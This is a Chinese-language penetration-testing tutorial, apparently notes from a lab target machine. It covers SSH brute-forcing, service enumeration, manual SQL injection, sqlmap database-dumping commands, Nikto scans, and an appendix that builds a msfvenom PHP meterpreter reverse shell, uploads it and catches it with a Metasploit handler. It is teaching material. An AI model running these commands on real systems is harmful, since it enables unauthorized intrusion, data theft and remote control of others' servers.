网络安全技术:渗透测试的实用方法与技巧
本文详细介绍了渗透测试的基本思路和技巧,包括Web漏洞挖掘、SSH利用、端口服务识别、Wappalyzer插件使用、网页源码分析、手工挖掘SQL注入漏洞以及SQLmap和Nikto工具的结合使用。文章强调技术研究的合法性,禁止非法用途,并提供了MSF反弹shell的操作方法。适合网络安全专业人士和对渗透测试感兴趣的读者。
本文内容提要:如何进行Web渗透测试、SSH弱口令爆破技巧、识别开放端口服务的方法、使用Wappalyzer分析网站、手工挖掘SQL注入漏洞、SQLmap工具使用指南、Nikto工具在渗透测试中的应用、MSF反弹shell生成和使用、网络安全技术研究与实践
1. web漏洞挖掘思路
sql注入漏洞
- 登录表单和函数传参页面(根据平时积累);
- 工具自动化测试(web服务枚举,sqlmap自动化注入)。
2. ssh利用思路
- 得到用户名和密码,可以用九头蛇或者美杜莎爆破弱口令;
- 如果得到web管理或者系统账号,可以尝试连接ssh,如能连接上无需反弹shell;
- 如果得到mysq数据库里面md5密码,使用john或者在线md5解密网站。
3. 靶机开放端口及对应的服务
- 22端口 ssh服务
- 80端口 http服务
- 139端口 SAMBA服务
- 901端口 http的SAMBA
- 8080端口 http服务
- 10000端口 http服务
4. Wappalyzer插件
5. 查看网页源码
http(80/tcp)手动查看,发现网站相关工作人员的信息。
6. 手工挖掘漏洞
SQL注入挖掘
查看博文,发现url存在参数 ?id=4
,下面进行手动测试。
或者:
有些网页需要登录状态才能访问,注册登录后访问后,输入简单注入语句测试,发现注入点。
7. SQLmap 要cookie
# sqlmap注入:sqlmap -u "http://目标IP"--dbs # 爆库 -D 库名--tables # 爆表-T 表名--columns 爆列-C 列名,列名,……--dump--batch
在登录状态后访问的页面上sqlmap注入报错:
缺少cookie,需要加上:
-p id --cookie=""
抓包 或者 F12,Console,下面搜索 document.cookie:
8. 结合nikto进行漏洞挖掘
CGI perl CGI nikto
CGI: 1. web服务器的安全;2. cgi语言的安全;web服务器软件编制中的bug;web服务器的配置错误。
nikto -h http://目标IP
附录
MSF反弹shell
# 用MSF生成反弹shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=kali的IP LPORT=4444 -o shell.php
# shell.php 文件上传到目标主机
reverse_tcp:本机开放端口,目标主机连接
bind_tcp:目标主机开放端口,本机连接
查看开放端口信息:
netstat -tunlp
msfconsole # 开启msf
msf > use exploit/multi/handler # 使用攻击模块
msf exploit(handler)> set payload php/meterpreter_reverse_tcp
msf exploit(handler)> set lhost Kali的IP
msf exploit(handler)> exploit
msf exploit(handler)> sessions 1
sysinfo
shell